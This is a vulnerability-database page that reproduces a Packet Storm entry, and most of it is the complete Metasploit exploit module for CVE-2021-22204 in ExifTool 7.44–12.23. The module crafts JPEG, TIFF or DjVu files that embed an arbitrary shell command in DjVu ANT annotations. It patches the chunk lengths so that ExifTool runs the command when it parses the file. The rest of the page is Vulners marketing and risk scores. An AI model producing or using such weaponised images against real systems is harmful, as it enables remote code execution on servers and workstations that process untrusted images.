Lucene search
K

ExifTool DjVu ANT Perl Injection

🗓️ 12 May 2021 00:00:00Reported by Justin StevenType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 381 Views

ExifTool DjVu ANT Perl injection vulnerability enables shell command execution via embedded DjVu image in ExifTool versions 7.44 - 12.2

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit  
Rank = ExcellentRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'ExifTool DjVu ANT Perl injection',  
'Description' => %q{  
This module exploits a Perl injection vulnerability in the DjVu ANT  
parsing code of ExifTool versions 7.44 through 12.23 inclusive. The  
injection is used to execute a shell command using Perl backticks.  
The DjVu image can be embedded in a wrapper image using the  
HasselbladExif EXIF field.  
},  
'Author' => [  
'William Bowling', # Vulnerability discovery  
'Justin Steven' # Metasploit module  
],  
'References' => [  
%w[CVE 2021-22204],  
%w[URL https://twitter.com/wcbowling/status/1385803927321415687],  
%w[URL https://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031],  
%w[URL https://www.openwall.com/lists/oss-security/2021/05/10/5]  
],  
'DisclosureDate' => '2021-05-24',  
'License' => MSF_LICENSE,  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Privileged' => false,  
'Payload' => {  
'DisableNops' => true,  
'Space' => 2000,  
'BadChars' => "\x22\x24\x40\x60\x5c" # ", $, @, ` and \  
},  
'Targets' => [  
['JPEG file', { template: 'msf.jpg' }],  
['TIFF file', { template: 'msf.tif' }],  
['DjVu file', { template: 'msf.djvu' }]  
],  
'DefaultTarget' => 0  
)  
)  
  
register_options([  
OptString.new('FILENAME', [true, 'Output file', 'msf.jpg'])  
])  
end  
  
def exploit  
p = payload.encoded  
  
buf = djvu_template.sub('echo vulnerable > /dev/tty', p)  
buf[8, 4] = [209 + p.length].pack('L>') # Fix up DJVM length  
buf[174, 4] = [43 + p.length].pack('L>') # Fix up DJVI length  
buf[186, 4] = [31 + p.length].pack('L>') # Fix up ANTa length  
  
if target.name == 'JPEG file'  
jpeg_buf = jpeg_template  
jpeg_buf[86, 2221] = buf + Rex::Text.rand_text_alphanumeric(2221 - buf.length)  
buf = jpeg_buf  
elsif target.name == 'TIFF file'  
tif_buf = tif_template  
tif_buf[206, 2221] = buf + Rex::Text.rand_text_alphanumeric(2221 - buf.length)  
buf = tif_buf  
end  
  
file_create(buf)  
end  
  
def djvu_template  
File.read(File.join(  
Msf::Config.data_directory, 'exploits', 'CVE-2021-22204', 'msf.djvu'  
))  
end  
  
def jpeg_template  
File.read(File.join(  
Msf::Config.data_directory, 'exploits', 'CVE-2021-22204', 'msf.jpg'  
))  
end  
  
def tif_template  
File.read(File.join(  
Msf::Config.data_directory, 'exploits', 'CVE-2021-22204', 'msf.tif'  
))  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 May 2021 00:00Current
7.5High risk
Vulners AI Score7.5
EPSS0.92825
381